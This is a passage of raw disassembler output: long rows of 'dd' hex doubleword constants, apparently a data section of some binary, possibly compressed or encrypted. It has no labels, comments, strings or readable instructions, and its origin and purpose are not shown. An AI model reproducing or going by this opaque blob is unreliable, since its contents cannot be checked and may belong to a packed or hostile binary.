		dd 7C2927F2h, 830113BAh, 2C32B867h, 0D960A379h,	12067589h
		dd 0DDF05Ch, 47B21BFCh,	0E912C307h, 0DC0092B9h,	0F53428E0h
		dd 0A82C003Eh, 13B77E6Fh, 2A0333E6h, 45CACF0Ch,	0ABC7D580h
		dd 30B32F90h, 25E6B8EFh, 335618B9h, 29C7C200h, 7112E54h
		dd 0CFD9657h, 95F031DEh, 0E37FC03h, 64CD4714h, 6FBA00ABh
		dd 999CB41Ah, 68D101ADh, 0FF6D9371h, 334DF47Bh,	5E66B500h
		dd 3A323FE0h, 0C898C4h,	2AEA525Ah, 8F14C56h, 0ED005474h
		dd 0F44F582Ch, 245F01h,	3E6F36EEh, 0A78CF6FEh, 6D001C73h
		dd 42AB3C84h, 0B4D9A5h,	8DBA66Bh, 257A9DAFh, 3676BB07h
		dd 0BFF0029Fh, 7CD7E198h, 76A94C60h, 0C0B0B100h, 0DBC1E65Bh
		dd 84298E1Eh, 0BB6CED03h, 0D4310E02h, 0B343771Bh, 7CB895BEh
		dd 5C000399h, 0ABE38467h, 9CFB5BFh, 0C7C9159Fh,	2EACD000h
		dd 0B4029EFCh, 0C079DEB6h, 427C4072h, 1C92ECD5h, 80B76B01h
		dd 52B8837Dh, 0D65CAA8Fh, 843924EEh, 0A673C701h, 31C4AB59h
		dd 0D0ED0048h, 0C82095C6h, 4D74DF5Dh, 80B15C00h, 7AAB301Eh
		dd 13CD071Fh, 0F0AE5695h, 5ED3B070h, 1EAEC14Bh,	98CD4001h
		dd 946F378Ch, 11EAEB00h, 1FC41B79h, 0BAD60039h,	0BC088366h
		dd 0E5FC58BDh, 60F19701h, 0F226378Fh, 0E8B05760h, 0BE5624B3h
		dd 0DD1EFCh, 19EE7086h,	4F6E588h, 0BB740700h, 17722213h
		dd 53DD0F80h, 4FB31A96h, 4540465Ch, 57B2F4CCh, 5B82E0E5h
		dd 0B5F2B600h, 9AEBBB54h, 43B00059h, 20142F50h,	0F50080E6h
		dd 3962063Fh, 4507DAh, 5B184052h, 0A57383C2h, 0E2A1E880h
		dd 0E10D009Ch, 0C52DBD39h, 8E0045DAh, 577AB90h,	32734FFh
		dd 82A44320h, 1FC82315h
		dd 6EE664E1h, 0F332D000h, 780EC337h, 0C94E009Ch, 66EE67FBh
		dd 7001ECBh, 158AC250h,	0EE490FA0h, 33E70917h, 29809BC9h
		dd 0D8FF3671h, 426A8B05h, 4C80CDB2h, 2C6766h, 1BC728E3h
		dd 88BE9665h, 0C9DB8D00h, 0D9515AF6h, 0C216009Eh, 626D3A34h
		dd 7E00D356h, 9BE13085h, 0FC990BA9h, 0E4DAB831h, 78F00982h
		dd 0F000D896h, 324A222Eh, 0C7D96006h, 3CAA0D8Eh, 58016BE8h
		dd 7AA6A352h, 0D47BE951h, 7C002EF6h, 0EF78208Dh, 37DB2E2h
		dd 73199529h, 7E80C336h, 91CA4D6h, 1744BCF5h, 6890C89Eh
		dd 3D626422h, 8A1E3768h, 0FC161DC1h, 77915580h,	666E27DEh
		dd 0B4266C01h, 3B7C104Ah, 64BED8h, 97B54E73h, 66A63923h
		dd 96277505h, 38945F1Fh, 0A11DE3C0h, 0F35000B2h, 4CB15AB4h
		dd 0C04D6B5Eh, 21E50060h, 0DE0FCBB8h, 608A7E80h, 4E841896h
		dd 0B0ED373h, 0C098DB2Ch, 0F5DD7C19h, 8C7D0029h, 0CF0EACA5h
		dd 4F006A3Bh, 0A62B2E64h, 0C00CB0h, 0F2192758h,	0C128578Dh
		dd 4AF40400h, 0DFD545F3h, 841303CEh, 3830021Ah,	2ABE0EB5h
		dd 0EBE38300h, 787A6C25h, 8B8E4B03h, 0C8856F19h, 0F75527h
		dd 10B71504h, 6128F999h, 0EBFE8807h, 0CBD035D5h, 1959E9Fh
		dd 9B598C1Eh, 0C8A03028h, 140029B1h, 8105C9D3h,	4E0C7Bh
		dd 0A4D1BA4Ah, 0E9FE28D2h, 0FFFACB00h, 77BF817Ah, 304B00DFh
		dd 9552518Ah, 0D800314Ah, 22E156D3h, 70C753h, 0FF63F34Ch
		dd 0AECCEF16h, 5D0481F4h, 0E23B9EDBh, 9280A0h, 9CC2B365h
		dd 0AA90A967h, 0C4B68800h, 0C9AC669Eh, 988F1D95h, 0C7E100CEh
		dd 7340C60Fh, 31D63500h, 42DB08C3h, 0D41D0070h,	1681623Bh
		dd 0B8987EB5h, 27FEEE14h, 264681B8h, 37F012CEh,	666F020Bh
		dd 5F99131Ah, 4045EEE0h, 6E537D00h, 9B88440Eh, 0E4E6018Dh
		dd 0E139DB09h, 15CBC0EBh, 861C8E1Ch, 5D46C900h,	0F299241h
		dd 594477Ah, 0C05828A5h, 82C003F3h, 0C90F3Ch, 0CC3C871Eh
		dd 44B935h, 0C55F4584h,	0FFC0DA03h, 9926A300h, 0AAEF04FAh
		dd 678D2EFCh, 20B1803Ch, 5BFA30Fh, 4872CD58h, 59FC03D4h
		dd 0B88DD550h, 93B443h,	538A312Ah, 3E43048h, 7690A100h
		dd 0C532EB34h, 495C0099h, 0B2C8DE0Bh, 173F4A33h, 1D4F80F0h
		dd 43844508h, 90AA5959h, 8B5A8200h, 0A17E6B3Ch,	0EDE20612h
		dd 44F054C0h, 0DCD800CBh, 0FB23E993h, 0C00A03Eh, 5246603Ah
		dd 0DBE0E3h, 246C63BBh,	74EFE94Fh, 7E9CC100h, 0DED32C6h
		dd 0FCA20097h, 0CA90E49Fh, 0FD3D9824h, 9401F03Dh, 0BE7D7FBBh
		dd 0B02CCB92h, 615D4C00h, 3B06CD15h, 54081E67h,	0A347EC40h
		dd 8D99DD95h, 0E030E6D4h, 0F2002A45h, 0F51A7263h, 1BC47D79h
		dd 21E10B47h, 48926CC8h, 1D831107h, 240F938h, 30229369h
		dd 4694CC15h, 7F006F0Ch, 3EB2C143h, 6059501Ah, 8FA4061h
		dd 4614ABF5h, 654F262h,	0FE0CDD66h, 0ABCD0021h,	581F5B7Eh
		dd 7C383CFDh, 0D8383B9Dh, 0BD0A0009h, 6608D6ABh, 623A3050h
		dd 0CC86E059h, 984851CCh, 0A7D8071Dh, 60C26394h, 317E6621h
		dd 5D00D5EEh, 0A830F22Dh, 5362E3h, 977525C2h, 8971B26Ah
		dd 2CDD0C00h, 5CC1E478h, 6E4B1D1Bh, 0DE8A470Dh,	19D5B06Fh
		dd 38002C25h, 6ACD46BAh, 743FAFA1h, 6FA60080h, 9E86A4FBh
		dd 0D100FE6Bh, 9DE42E5Ah, 7AB47B6h, 0AAC7A9E2h,	0CBBC901Dh
		dd 0A10719F2h, 0B1FF13C8h, 0F2A825F3h, 142DE01Bh, 9EFA00BDh
		dd 0A68ACE3Eh, 2A1F12E9h, 0F60E3F37h, 98B0804Ah, 0DD82414h
		dd 0C6390CDh, 44BDE882h, 6F2A1B00h, 6C60B001h, 1579FEB6h
		dd 0FCC8C7A5h, 2A037600h, 8D2C0FE2h, 1156E900h,	0A7820D7Dh
		dd 6AF400CBh, 0D09DC0E6h, 3F0FCDFBh, 0A33CFF46h, 3BEDB176h
		dd 0F2010A10h, 6DD2CFD9h, 395880DAh, 5DF518ECh,	541998A5h
		dd 2257D05Eh, 5101CABEh, 5DF36990h, 0DBD4DF72h,	0D8B03D22h
		dd 0EC512B38h, 716DF4h,	0B1E0C305h, 0B8573B09h,	44F8D624h
		dd 31B78580h, 702ABDFh,	7D5C189h, 0F0339722h, 74F45036h
		dd 9730F00h, 44E940Eh, 8A7518h,	838CE0E4h, 0D6C20BA2h
		dd 6651FB60h, 0E32D9Dh,	0AAD7AFFAh, 49852090h, 54E0B70Ah
		dd 0C5111888h, 0EE462300h, 1E69D47Eh, 74A0507Bh, 0B244128Eh
		dd 0C027F6C3h, 136D5A19h, 2F0352D9h, 0BE690B34h, 0A62907B4h
		dd 20F9D0BDh, 92F1319h,	4392F003h, 80183241h, 1D5EB3D8h
		dd 402AC27Dh, 72859FC8h, 20079E5h, 4D901063h, 32C03C24h
		dd 6106207h, 7B0304B5h,	0E013888Fh, 61C7CEh, 0D02CADABh
		dd 17623885h, 0DCD58700h, 0F67C7B6Dh, 0CF810C59h, 0A4296EAEh
		dd 56FC8341h, 0FB997CD4h, 0CA6C0980h, 0BF6B64B3h, 54619E18h
		dd 1D5B8F18h, 0C051D967h, 0B58A95C7h, 0E9F236C3h, 692DBC00h
		dd 71B7BAB8h, 0BE010017h, 8EF8FE38h, 0D43F57D1h, 0B42D00DDh
		dd 364F454Eh, 0F997640h, 0E48D138Ah, 500B1527h,	342B29C9h
		dd 0C646651Dh, 43C9380h, 7F3B2Ah, 754FBB56h, 0C8346739h
		dd 4D422F00h, 449E4571h, 0E5AE618h, 0BDD4C095h,	0DD08DB00h
		dd 1100CB97h, 431C3F04h, 1F02886Dh, 534034E9h, 215F0017h
		dd 0F12E630Bh, 0DDD35602h, 8372D448h, 904B27CCh, 0F3FC1Bh
		dd 9EF5B8AFh, 0A7EFB4F6h, 0DBB7F100h, 0C168C274h, 0D8BE0184h
		dd 372D3DE1h, 63B0F773h, 6600E69Fh, 4738E82Ch, 0E597CAh
		dd 855D55B9h, 75AAF7BFh, 0B5D70F00h, 4C8E11BBh,	0C9F207ACh
		dd 0CBE332h, 0A82C2452h, 0BBF64D24h, 0E070BB0Eh, 3D6F5942h
		dd 589600A7h, 0F25B9C4Ch, 0EC0115C8h, 0FF95BAE4h, 1020218Bh
		dd 75200D3h, 0C3968171h, 0EE00AB53h, 958F77E6h,	0AE6B6Ah
		dd 260ACC36h, 112AF7B9h, 0D48C1700h, 0D5F4FF19h, 8D08001Ah
		dd 53F929BCh, 0C0004E20h, 0B8618EAh, 0B148497h,	134F17Ah
		dd 0B84F3C00h, 48016744h, 0EA814B46h, 0F160E284h, 0E66F3F06h
		dd 0D7FDD300h, 18394598h, 365EEA00h, 0A6439133h, 5FB20048h
		dd 1B9AB8A0h, 3076C105h, 0CB814000h, 5D473435h,	0E4863878h
		dd 89297F89h, 0E6507C00h, 0EA30641Ch, 0EE109DFh, 0E2F40362h
		dd 9F76301h, 71AB184Ch,	8E804000h, 437A044Fh, 83160099h
		dd 441C7367h, 6400E629h, 3977EE2Fh, 0D53712h, 36A68313h
		dd 3576B97Dh, 0FB00F47Ch, 0EAAEB45Dh, 8E4BDCh, 7CAA820Fh
		dd 2C98974Ah, 0DED28A0Ch, 0D11E9h, 0D5BD8092h, 5FE8A3F8h
		dd 0E01E6E24h, 6DAE0E1Eh, 6C659700h, 28BF5C76h,	7A47055h
		dd 0CC66CA31h, 7F3E022h, 3300D1A8h, 6A88B126h, 0F483718Ch
		dd 5BB30095h, 0F7F6869Ah, 110022B4h, 1CFBEADAh,	16CF12h
		dd 0EF518948h, 87E3AE18h, 1325F001h, 1CF34F32h,	19CD120h
		dd 297BE9ADh, 0D0C3A1F1h, 43481718h, 0CDAF3C94h, 0C9C0050h
		dd 64B1065Ah, 38D107C6h, 90FFE14Bh, 0BB6FDD2Ah,	162C1F09h
		dd 2BA4001Bh, 180B94B6h, 488DCE09h, 0DB7BFCF7h,	1378765Ch
		dd 0A807DD04h, 606C5C94h, 0F450161h, 83D5C33Eh,	81ACF4A0h
		dd 0FBF95600h, 0FC88AA5Bh, 29183F1Eh, 0BC99DA89h, 2ABD1680h
		dd 0EA4CAFF5h, 65B400A4h, 0AD94CCE0h, 11EE84h, 6BCF555Ch
		dd 90169EF1h, 45BFC204h, 44C056A7h, 0F6EE350h, 2CCC6381h
		dd 0AE20E601h, 0AF69EC47h, 8068453Eh, 4FC68662h, 359DE4Dh
		dd 649A9FAAh, 0F8A984F7h, 8E5C34B3h, 0DF58F900h, 0EFE94A6Ah
		dd 5B5358EBh, 89249B26h, 3000064Ch, 0C859FEDFh,	0FDC3F3Eh
		dd 0C0FB1483h, 38C43ECAh, 0E7C7768h, 0E3818877h, 0E59B6480h
		dd 0B61F6575h, 79C06CFAh
		dd 0E107C8E8h, 0DF40E105h, 7DD68EEh, 637770D1h,	4B6CE019h
		dd 0D400C659h, 7B6A6784h, 1E421581h, 819E5EA3h,	0BF408D34h
		dd 0AED1E454h, 63F88600h, 0EBFF57B3h, 4B1903C6h, 0CC4F8714h
		dd 0A0A36FA0h, 0D1706200h, 0D08F8EF9h, 66B73071h, 0D3A253CCh
		dd 852648E8h, 5C00CC39h, 8AB61069h, 76E209DAh, 0D080C01Ah
		dd 0E942B336h, 10CDFE30h, 0B8BB53CBh, 0D68D0239h, 648630F0h
		dd 6AE66CC0h, 599AD105h, 0D400BDE1h, 0AF142A4Bh, 68E32D1Dh
		dd 8027C340h, 0CF406A00h, 0E1249F9Dh, 0E2E40EEAh, 0A340C057h
		dd 89521B13h, 2019BC00h, 0A428385Ah, 3D030BB2h,	0F08ED287h
		dd 0D4A0FC0h, 650051EAh, 100108F7h, 0F2189AC7h,	747D7DB8h
		dd 0FD33035Dh, 9036855Eh, 0E748A8C8h, 35844000h, 0D40AEEEBh
		dd 1F5F84Ah, 0F397FE1h,	6081D204h, 0BD74FF9Dh, 55A85F00h
		dd 4A9BC2D0h, 0EFB80041h, 8F13E295h, 1C0EC5D3h,	0A010C0D2h
		dd 5BC74C79h, 0CAAE00BDh, 0E3847A80h, 6A2612A7h, 350AD42Fh
		dd 470FE8B6h, 0AA92212Ch, 75C9DB53h, 6D424h, 0E3D584BBh
		dd 617C9742h, 15007FECh, 6E9840D7h, 0F2AB670h, 3922C230h
		dd 0A7963240h, 0E73DBE93h, 972D00F4h, 3BAD3C6h,	267172D8h
		dd 58A930h, 0C377E72Fh,	0BC988779h, 84630600h, 8E9B2293h
		dd 8B24171Ah, 0ED4C406Fh, 6A0D2056h, 0CDA940Eh,	77CE8442h
		dd 0B062080h, 0D0F872h,	0FEB6F9ABh, 0D2DA7941h,	33A03Eh
		dd 7A118E40h, 0F010CA4h, 737175EAh, 6AA7A180h, 40A148F3h
		dd 3558830Bh, 0E8814326h, 50F2B447h, 0F9711060h, 7F0C689Ch
		dd 150C66A8h, 98742CE3h, 47050939h, 0D00C7ABFh,	0DD4C1F90h
		dd 0C77C4F17h, 2A8A9447h, 292F27C1h, 5B2570h, 0B7A51562h
		dd 30E57E2Eh, 0C55CC700h, 6AA6B280h, 0BA1C00A8h, 0E716FEB5h
		dd 0DCE72D19h, 4A00F5DDh, 36116B8Fh, 0EE34E575h, 1FC901DAh
		dd 0F9BC883Bh, 12A804Bh, 1CDB9C5Dh, 0AF5B0F30h,	0B920929Bh
		dd 0FBFA389Eh, 0A09A7200h, 3EF0066Fh, 4E2B2AC0h, 7F9101BCh
		dd 0F2EE9F76h, 280470CFh, 31D32C17h, 201A420Fh,	0B044540Eh
		dd 0AA7101D5h, 0AFEFF1B8h, 2CC40B4h, 840E43CFh,	65D19178h
		dd 0A44038FFh, 0ADB71BFDh, 0A16100C7h, 189F88A4h, 1F205BDFh
		dd 76900023h, 49F2B17Bh, 0BF091B07h, 10F6F56Ah,	18A6D64Ch
		dd 405F0F81h, 0A90416E5h, 69B96EFh, 0C1226400h,	2D0077A5h
		dd 24A10DB2h, 1FD58E51h, 6C0CA28h, 0E9402CA6h, 6E817300h
		dd 0D20CFBD4h, 0D59056h, 0ED099882h, 7FEFA8E9h,	422A2218h
		dd 0EEC33D31h, 0A60A2697h, 0D42C01CCh, 0D1C46822h, 0EA3BD871h
		dd 492B7418h, 3A08131h,	5648DE96h, 9EFBF56Bh, 0EF1DA906h
		dd 29D690h, 0C2A91E5Ah,	0D943F559h, 0AA7B5712h,	0C95BF083h
		dd 6EC0FDC3h, 9AA60079h, 0DE7A9CF0h, 81001066h,	6D24DD26h
		dd 0F0D8A70Ch, 35210074h, 693EF215h, 0CA0EB3ACh, 80B48CA8h
		dd 4408858Eh, 90E70147h, 2AAA7A3Bh, 308988Ah, 0DB7621h
		dd 0D74F8647h, 6FBF1E8Bh, 3E131800h, 0D4530AFh,	0FB3031Dh
		dd 0A986DCAEh, 0A53E388Eh, 2FBB84CFh, 7DC12EBAh, 0BED12D6Ah
		dd 0D9EB218Dh, 0B7C0DA3Ah, 0A01471Bh, 4F2C26AEh, 90218B7Eh
		dd 938000D7h, 1CB7A804h, 2C1B27CCh, 1D207AA7h, 14B28549h
		dd 428068FEh, 8B93F147h, 680D448Ch, 0E947D900h,	0EA5F149Eh
		dd 62A76FDh, 90FCA898h,	350068B4h, 8A1BBF2Dh, 309CA0ABh
		dd 3318A534h, 3741BB25h, 3B8FA400h, 1083F773h, 9D52E634h
		dd 0F43DB2D9h, 2026D4Eh, 0F2A7CF1Ch, 54ED80EBh,	0E967F4h
		dd 8CDFEEE5h, 0C62B07E8h, 3A335B00h, 324782FAh,	3DF40092h
		dd 89B5686Dh, 3C00CA1Eh, 0F3600AD3h, 0D90950h, 0D4A95785h
		dd 15C83206h, 0E46F2203h, 0FF03FC99h, 0EA2EB6A0h, 34350750h
		dd 3320AC8Eh, 0BCD053A6h, 0AD000B2Dh, 0D96B5AF0h, 4C44E869h
		dd 47002F3Dh, 2555405Dh, 190087A9h, 3FF14EE6h, 797CFCB6h
		dd 6D29008Bh, 28306CDBh, 0EC00CD17h, 5334B26h, 240453D2h
		dd 1F3FAC13h, 80F7DD8Bh, 635BE2F6h, 0DC0F86EEh,	8031489Eh
		dd 341CCC90h, 3B360012h, 7B2C7858h, 72038FE8h, 117E3C97h
		dd 5E201015h, 0AFE43C42h, 620FCE9h, 11E0E71Eh, 2B7B4700h
		dd 556F6756h, 57623193h, 80124808h, 28632220h, 7F22FBFh
		dd 2021CC58h, 4019E0C7h, 0AD07D259h, 0FEC07EC3h, 71A85816h
		dd 0FA4A0084h, 0E55BF73Ch, 91C1D1A2h, 0A558FF3h, 40E7A89Eh
		dd 57A53D49h, 400C23D6h, 8526E16h, 0AB21C142h, 0D439A525h
		dd 0CC00FB59h, 713E6484h, 3CC6AA09h, 0EE094CD2h, 286D17Ch
		dd 0AC48E834h, 98C03C0Fh, 2F915DA6h, 0E50B020Ch, 72AA2DEBh
		dd 0AD04E05Dh, 0A9380046h, 0C845FF1h, 6D01CCFFh, 45BD613Ah
		dd 0B8CC1D43h, 0FC2EC83h, 97CD7E2Ah, 2F405B00h,	6600164Eh
		dd 77BDEB01h, 0C06DB9h,	0E379F9BAh, 0CE7E2DC3h,	34E4800h
		dd 6C604A1Ch, 6F1E0DF3h, 1F11067Ch, 0E93BC304h,	621003D0h
		dd 0E0AD78Fh, 0E3E0BCE8h, 0CD25A00h, 0E5BD8914h, 209260E6h
		dd 26618EC7h, 9E56C800h, 7F84BE40h, 55BD0E33h, 1AE048C9h
		dd 3D70A6B8h, 72F50101h, 0B76D9434h, 9239F4h, 93CA48A5h
		dd 10C14A77h, 355DAB00h, 0FA578A5Eh, 0C5BD1CB5h, 0B817008Fh
		dd 80D051CDh, 122FDC00h, 0E9480EBFh, 703500F2h,	0AF4A501h
		dd 1B7B3219h, 368AD800h, 0C11C73CEh, 503F0049h,	0D00BF5BDh
		dd 3E01A5DDh, 0E0B44E53h, 0E2FC1146h, 1370703Bh, 38095F1h
		dd 0FEAA5BAAh, 5E884A0h, 91DA3100h, 572FDF6Ch, 700F0029h
		dd 56277F32h, 500ECB2h,	14E84577h, 28A853B8h, 0F3CDD2h
		dd 0D8BFF4B4h, 18E568BDh, 0A5467800h, 0C1016A86h, 58A80029h
		dd 4860DBD4h, 40C1E608h, 0B9490B1Eh, 1E3DD1E4h,	3CA6FAA9h
		dd 8180A0BEh, 43DB7F71h, 0F303294Eh, 8030147Dh,	0C70FA776h
		dd 70D0860Bh, 17DDB80Ah, 0C5BF22h, 49F1A346h, 0F4A063B1h
		dd 0C0A9B6A7h, 0EE8AF082h, 0CD749501h, 40585448h, 0BFAC81EFh
		dd 2B0C40E2h, 0E9E081h,	37B7F3F9h, 0B4A59D74h, 9018827Eh
		dd 3AE8390Ch, 0F69A0035h, 1F5E923Bh, 9033767h, 39D069BEh
		dd 8D1B00Eh, 0AC1200C3h, 553F59B0h, 7E00115Dh, 905B0DC1h
		dd 0FDF20Ah, 0F6E7AE97h, 5F4BAF5Ch, 1C00A27Dh, 0C65D1AAAh
		dd 3E0729h, 9C6C03D8h, 0ED4CD00Eh, 1742B100h, 0D147415h
		dd 0DA230056h, 0E877C378h, 84003D61h, 1FBB2D5Dh, 0F21B3D3h
		dd 0A1325087h, 6E143300h, 5C4C63ECh, 2B731691h,	892E8100h
		dd 0FAD14498h, 0A041FF50h, 5510BE93h, 5D0718B7h, 0DB4DD196h
		dd 0A9A3FB90h, 4BF01Eh,	6EB62D59h, 3C205B97h, 0A7006A98h
		dd 58318F27h, 0E1672Ah,	29CF0B1Ah, 2C32BAA5h, 6F3D7212h
		dd 0F17C446h, 0BFB203D9h, 0B327D6Dh, 4EFB7198h,	0B8722200h
		dd 73134FD6h, 477595h, 0E39C05FFh, 92C93EB3h, 4ED4A700h
		dd 3AAE5F0Dh, 1EC60002h, 77AADC45h, 8300DAB6h, 21C0065Ah
		dd 48790BB0h, 2C01B00Eh, 0D59863CBh, 0FAF08418h, 914F6042h
		dd 0AE708203h, 0A0841088h, 7B078BFEh, 773B087Fh, 9C891540h
		dd 69A8001Bh, 64678241h, 3E03AE49h, 2C6DF13h, 0A8ADE994h
		dd 381A1EDCh, 0E08522FFh, 0C0C0F6DBh, 7B908847h, 9F7C8300h
		dd 68C81A7Fh, 221B0093h, 88F14657h, 5E0094FCh, 0C18DFA23h
		dd 682CF8h, 135B2E17h, 0CD27810Bh, 3158FF00h, 35A85CB6h
		dd 3CAE001Eh, 0CA32DF61h, 0BC720D28h, 1F4C6700h, 0B4FF968Ah
		dd 8CA40073h, 37DBF255h
		dd 2C2833D6h, 380F9BEBh, 0BC76523Ah, 7A9B600h, 23EF8Dh
		dd 0F3C25A7h, 8582ACE1h, 58A6AA0Ah, 0FB05E0D5h,	3810C66h
		dd 8C2073F3h, 871A002Ch, 0C74A13D4h, 0B7009FBBh, 0E928B279h
		dd 0F66CC15h, 89CD3497h, 0F23151A0h, 63004792h,	0E3E1177Fh
		dd 0FAEDEEF1h, 0F4CA50EFh, 0D2D4F9E2h, 0DB70344h, 45AA81CBh
		dd 800119D3h, 92F5BC0h,	4680555Ch, 0AAE22D98h, 0B2005D11h
		dd 0BBB8D85Eh, 0E48DF5h, 54D0408Bh, 6BD44CDDh, 0A099E70Fh
		dd 3B5C0057h, 870C6Eh, 987ABEF6h, 0AF327F73h, 0D71DF301h
		dd 0C4586FA8h, 0D24E40DAh, 5EE300CCh, 29F95CA3h, 3B0052ACh
		dd 769E55E8h, 2485F0Ah,	95EF5446h, 0F9C0FC66h, 1C162C28h
		dd 40403CF1h, 84F253E8h, 0F0F40029h, 89C53FFEh,	6A05E0F1h
		dd 6774265Bh, 84DBAC23h, 0E7EB200h, 7A738BADh, 0F77FF91Ch
		dd 0B38764C7h, 204F24A7h, 0EF582EABh, 0C56D0040h, 0BE52D738h
		dd 200FDB59h, 0C001995Bh, 185131A4h, 0AE3500E7h, 8D7BDA82h
		dd 9700B2F4h, 59A32B8Eh, 0D5E507h, 1B28F950h, 0AA4580A1h
		dd 33007A73h, 0B46C1943h, 0E194F2h, 1B03BAE8h, 0F9FE4909h
		dd 82F75501h, 5C26D169h, 4F6FE8h, 0C64C50A4h, 0F008DA11h
		dd 2436EC2Ch, 95538E00h, 2824B5h, 7262CCF5h, 15789444h
		dd 49B09700h, 9837B4F1h, 0FABE02EFh, 151D3DDh, 0BCDFE040h
		dd 0D2E74801h, 6E5DCACFh, 719330h, 7066ED39h, 502B9765h
		dd 0F56AA000h, 62ACCCCFh, 85C30089h, 4393EE5Fh,	9F0FB5C2h
		dd 80050BA3h, 2D0629F3h, 0C4F91E03h, 67814F07h,	39509EE0h
		dd 1100CD05h, 0A6AF9989h, 0B83B4h, 62FB774Fh, 2C261A71h
		dd 8F96B000h, 0CA13C670h, 0B6741C6Dh, 61EF804Ah, 4DDA2AC3h
		dd 8C03C190h, 2E588B3Ch, 6A67A86Fh, 3EF49Ah, 14B99B41h
		dd 3297A905h, 57C2CD02h, 48D1719Ch, 4CBDC1Ch, 381BB721h
		dd 0C5C8C0A1h, 0CEB0EE04h, 48D2930Bh, 7A3600A8h, 448118h
		dd 751F8BAAh, 6751E657h, 0EE8FD903h, 0D01AC6A9h, 0B3D7C86h
		dd 0BDABE322h, 3A558021h, 6D9474ECh, 861DA307h,	0A241A4F9h
		dd 18995A08h, 0F19310FBh, 12A214Bh, 4003E318h, 8C493B24h
		dd 813C1900h, 0B5FC858Fh, 2E9F308Ah, 5CFAEC18h,	0AE3BB89Ah
		dd 0D11A18F0h, 3EBCCED2h, 0DB00676Ah, 87237079h, 0A0A6D7Bh
		dd 1CEBD57Eh, 7047C987h, 0E242D993h, 0D10C83E7h, 793B90A2h
		dd 0FA197B8Fh, 73D20BEFh, 8A874AA0h, 39826348h,	0D15222B0h
		dd 99444Ch, 0B78F2D72h,	0EDA698h, 695A7E56h, 0D8B5A197h
		dd 77124300h, 758699CAh, 9C0A006Eh, 0F2E8EC6Bh,	8AE29855h
		dd 72038702h, 60898CF7h, 0CEC965h, 7941DD0Eh, 4677CB91h
		dd 0D4BF5528h, 9F005873h, 0B5E8C9E1h, 3FCE2DA3h, 2F8057A6h
		dd 94B4F287h, 48E24247h, 19D05100h, 0E98F61CFh,	0E0740001h
		dd 237C02A0h, 0B198E753h, 0A4B5DF00h, 9E9A9D61h, 0C99400ADh
		dd 0FD997058h, 0E53E1A75h, 27240032h, 0CD5BD009h, 0BDD4A0C8h
		dd 197CB13Ch, 0C74D0832h, 0D9A3CCE0h, 0F44A19C3h, 0C00801CBh
		dd 50C89478h, 401DEBE4h, 1E20BA03h, 406ED2C1h, 68E345ABh
		dd 71EB4B06h, 0A62182E4h, 4867625Bh, 5C030E64h,	290430A3h
		dd 0D1A0C75Ch, 4199BDE8h, 0BAC2AA48h, 0A25B1848h, 0DD5321h
		dd 886E5820h, 75133AFDh, 16C8AF0Eh, 2FE2C14Dh, 5892A194h
		dd 0BB08205Dh, 0D201CF4Fh, 5B728540h, 74C0DC32h, 0DE47ECCAh
		dd 61A49890h, 206EDF8h,	3C7562E6h, 887E5040h, 4A092003h
		dd 0E982D201h, 6E01D52h, 1E4063CCh, 4C884FFFh, 0E848FCC9h
		dd 869CCF55h, 0A3E15D80h, 0A6CC2461h, 81F60129h, 91CA6835h
		dd 7803A081h, 20CC2555h, 705F9880h, 0C2F19600h,	0E27AEE0Eh
		dd 0DC621406h, 0D4449C45h, 4749445Dh, 26AD2301h, 683711D0h
		dd 55E0BCCDh, 0C95810CDh, 2EBD15F5h, 5C72C1F8h,	50410BF8h
		dd 2180615Dh, 65B4E4E3h, 0F2009387h, 0EEE85CEDh, 7D952E1Eh
		dd 0ECB00518h, 80C36897h, 67DD13B6h, 368CB53h, 0E7F16E69h
		dd 9EA1F12h, 5F05C078h,	0AB9E8E73h, 9136FA14h, 0C1A308D8h
		dd 0B940327Dh, 9F6AA521h, 1A2860h, 0E18A961Eh, 8B0A1688h
		dd 0F08D10Dh, 5841D8EAh, 0C210EFC3h, 200641EBh,	5D22BD2Ch
		dd 0C00990D1h, 0A5FF8F21h, 6E3E4354h, 0C510635h, 2189A1E6h
		dd 0A21147D9h, 7B508000h, 40BA7F66h, 0AF53A909h, 22901BDEh
		dd 1A007B61h, 0ACC77D89h, 0FF7799B2h, 0C3377C20h, 63C0A330h
		dd 74EB2924h, 0FA157C83h, 7029655Bh, 0ED8808CBh, 0A9514588h
		dd 98BD04D0h, 7C3B4A5Ah, 0ABAD7700h, 0C868A4D8h, 2B837618h
		dd 0C06E98F9h, 64CB53h,	45FA7754h, 0D40422F0h, 0F12B6F32h
		dd 1B15279Eh, 825F9384h, 8490FEDCh, 4303EFEBh, 220792E1h
		dd 0AA610170h, 6DB0FC76h, 0F6B07A61h, 0D5EEE1h,	0A7B39B56h
		dd 1949EBCDh, 44CAC824h, 0D104038Ch, 3F957301h,	0BB001588h
		dd 87A3D8EAh, 0E4266A82h, 390CE6B6h, 0D76945h, 36CD8670h
		dd 0D340AB28h, 95A87303h, 300883D5h, 5FA8B850h,	6A523FBCh
		dd 767C2290h, 0F90F00FDh, 660273C6h, 277F1115h,	4E8E4D00h
		dd 8672A93Ch, 0FC6348AEh, 309D48Ch, 0B0B180E3h,	0DD0D5586h
		dd 2FC83DA1h, 52F40C80h, 74777817h, 0CDBE8B26h,	7C46BB13h
		dd 289475Dh, 421B89F8h,	0D08F11D5h, 7C99E0A9h, 5A110B98h
		dd 0CA600A1h, 9A38B164h, 12E0FEC8h, 43CA9D55h, 0D11E45B8h
		dd 0E0A153h, 40080EBCh,	0C2B7CEh, 0B6345E52h, 0A6ABED73h
		dd 0E82A6900h, 0B4A892AAh, 0AB7E4F7h, 0A1C83A48h, 24A86880h
		dd 6BE66364h, 704612A4h, 11D55Bh, 926CD9D4h, 823B2794h
		dd 4E8FD703h, 11151E73h, 155C54E1h, 0FC87E3Bh, 0C0946BB4h
		dd 0F98C4419h, 0C059C2E9h, 0A0A3A703h, 83B05398h, 0E824F118h
		dd 5AC39CCBh, 918100D6h, 692DE031h, 5D013F78h, 0BBBEEDA3h
		dd 0AC26B998h, 0F6897E3Dh, 4411CB44h, 0A86980AEh, 0CC266984h
		dd 19A4FC70h, 0F9468F05h, 881009FBh, 0A4DE3D45h, 0B27044B8h
		dd 28002571h, 9BDCB3E0h, 5814858h, 63293927h, 4FD2C5BCh
		dd 20B545B4h, 0B4DCEAD8h, 842A1301h, 2EE19461h,	6DD8EF0h
		dd 4BE6F66Bh, 3D22412Ch, 357E2019h, 88087258h, 0F2E3805Fh
		dd 9D03D9E1h, 0F2B90930h, 0EAC44B5Ah, 0A22924CCh, 213B9234h
